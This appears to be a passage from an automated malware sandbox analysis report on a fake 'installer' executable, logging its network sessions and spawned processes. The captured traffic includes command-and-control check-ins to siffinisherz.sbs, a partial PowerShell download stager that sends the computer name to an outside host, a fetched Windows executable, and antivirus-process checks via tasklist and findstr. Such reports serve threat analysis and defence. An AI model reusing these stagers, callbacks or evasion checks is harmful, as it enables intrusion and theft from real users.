{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Be2uS5gxWn4viS0Kfh%2FOYRQ4zh2DjeEU9cBm32pkEKUvMAEU2tILtkX46wODy7DkzO3DJA0C7hEf%2BGDwQtT%2FI6ubdM9YLnNOe9I2LG0PwFg9XMjlR1iTFWpZHYuEqnM7GKSW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc81237a7ec32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&min_rtt=1626&rtt_var=622&sent=5&recv=7&lost=0&retrans=0&sent_bytes=3051&recv_bytes=2147&delivery_rate=2611806&cwnd=179&unsent_bytes=0&cid=e3b730a95fad2721&ts=503&x=0"
2025-01-06 14:47:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:47:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:39 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1Q87D89GW5U35XH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1112 Host: siffinisherz.sbs
2025-01-06 14:47:39 UTC	1112	OUT	Data Raw: 2d 2d 31 51 38 37 44 38 39 47 57 35 55 33 35 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 42 34 33 30 37 45 41 39 37 42 35 33 45 36 34 46 35 36 46 35 39 35 38 36 41 42 46 33 30 38 0d 0a 2d 2d 31 51 38 37 44 38 39 47 57 35 55 33 35 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 51 38 37 44 38 39 47 57 35 55 33 35 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 31 51 38 37 Data Ascii: --1Q87D89GW5U35XHContent-Disposition: form-data; name="hwid"4AB4307EA97B53E64F56F59586ABF308--1Q87D89GW5U35XHContent-Disposition: form-data; name="pid"1--1Q87D89GW5U35XHContent-Disposition: form-data; name="lid"jMw1IE--psyche--1Q87
2025-01-06 14:47:40 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjuv26rgslr07f89b9la865be3; expires=Fri, 02 May 2025 08:34:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BP2HqquIm6lt8hCB0sMPpaTG0ux5yGd0AH4GSslf0I6974swfVewpZVh%2BKYmSV4IjPOP13aQ5p4DovbG7Ig4gEAs6Ev%2FkQ07uCRHRGsst9uI%2BJoddpRHnUqlqSpAGLZPFqvB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc812a0cad72a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1873&min_rtt=1860&rtt_var=725&sent=5&recv=7&lost=0&retrans=0&sent_bytes=3050&recv_bytes=2026&delivery_rate=2222222&cwnd=213&unsent_bytes=0&cid=5373394f3bd42c74&ts=501&x=0"
2025-01-06 14:47:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:47:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: siffinisherz.sbs
2025-01-06 14:47:40 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 34 41 42 34 33 30 37 45 41 39 37 42 35 33 45 36 34 46 35 36 46 35 39 35 38 36 41 42 46 33 30 38 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--psyche&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=4AB4307EA97B53E64F56F59586ABF308
2025-01-06 14:47:41 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m4radib6a9ss917a7a3cesjvom; expires=Fri, 02 May 2025 08:34:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CiXBG4S0RID0eUfdZ0wVPuWg6gNfVeKOFgEvfJSoNOveLaftY%2FQU2oqyJRpF9XY53GdhnWG%2FKjT1pVoMp43ZRcu9%2B7cn8BkYOSuW7maQaAyDDfqcrk4%2Be1r40GhpyZCXGYtW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc81302c2472a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1975&min_rtt=1974&rtt_var=742&sent=6&recv=6&lost=0&retrans=0&sent_bytes=3050&recv_bytes=1016&delivery_rate=2208774&cwnd=213&unsent_bytes=0&cid=9be885561053e638&ts=472&x=0"
2025-01-06 14:47:41 UTC	218	IN	Data Raw: 64 34 0d 0a 73 50 35 4a 31 34 63 48 70 44 6f 6d 39 70 72 45 46 53 4a 37 58 38 2b 71 38 43 6b 41 7a 2f 58 79 31 4d 61 68 72 62 37 69 6c 32 76 72 68 57 75 69 70 54 32 47 55 6c 4b 43 36 72 63 76 66 6c 51 44 34 4d 6d 56 54 6e 58 68 68 70 71 37 74 76 32 43 68 74 65 67 58 34 4c 49 65 2b 4f 7a 4d 66 67 56 56 70 36 30 73 47 31 57 57 58 50 74 7a 49 51 4c 4f 76 33 5a 30 4c 48 6b 6d 35 7a 44 7a 75 78 4a 78 64 78 7a 39 65 39 7a 30 45 70 56 7a 4d 62 72 53 51 30 51 4d 36 62 61 68 6c 78 74 70 6f 61 48 76 65 6a 53 78 64 47 53 79 30 54 5a 6b 44 32 49 35 47 76 55 5a 56 57 65 2b 2b 70 68 57 67 39 39 34 34 69 57 58 53 4c 31 78 64 37 32 6f 34 4f 58 6a 70 2f 4b 0d 0a Data Ascii: d4sP5J14cHpDom9prEFSJ7X8+q8CkAz/Xy1Mahrb7il2vrhWuipT2GUlKC6rcvflQD4MmVTnXhhpq7tv2ChtegX4LIe+OzMfgVVp60sG1WWXPtzIQLOv3Z0LHkm5zDzuxJxdxz9e9z0EpVzMbrSQ0QM6bahlxtpoaHvejSxdGSy0TZkD2I5GvUZVWe++phWg9944iWXSL1xd72o4OXjp/K
2025-01-06 14:47:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	185.161.251.21	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:41 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-06 14:47:42 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 06 Jan 2025 14:47:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-06 14:47:42 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	172.67.208.58	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:42 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2025-01-06 14:47:43 UTC	901	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:43 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TKuFv4NjNnHfDv12EMEx30bsYRtppOHs8J3wBlknOfiKaUZ8GGqDG8q%2FTcwbxZzOuRZDdAgKs0WGnqPYNiKqivkelbQd7zPvKlpeCHZFT0wvx7JiifUb79b%2BcO%2BedZ9dXKJ9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc813dcb838c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2010&rtt_var=774&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2867&recv_bytes=820&delivery_rate=1396461&cwnd=248&unsent_bytes=0&cid=c6c335051672a51a&ts=344&x=0"
2025-01-06 14:47:43 UTC	468	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 07 48 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 00 00 04 44 Data Ascii: HRESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@D
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: fe ff 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 43 6c 61 73 Data Ascii: r@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(JClas
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 00 01 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 3f 00 Data Ascii: [@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage?
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 9c 10 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 74 6f 72 2e Data Ascii: @AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonitor.
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc 6d 29 40 00 Data Ascii: nstruction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$Am)@
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 72 69 6e 67 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUString
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 00 24 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 f4 ff 65 3d Data Ascii: $@~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@Ce=
2025-01-06 14:47:43 UTC	1369	IN	Data Raw: 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 Data Ascii: L@Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(JCop

Target ID:	0
Start time:	09:46:56
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\installer_1.05_36.8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\installer_1.05_36.8.exe"
Imagebase:	0x400000
File size:	1'134'207 bytes
MD5 hash:	586C45B07A69A89813272E425388029F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:46:57
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Symphony Symphony.cmd & Symphony.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:46:57
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:46:59
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x60000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:46:59
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x1b0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:47:00
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x60000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:47:00
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x1b0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:47:00
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 180180
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
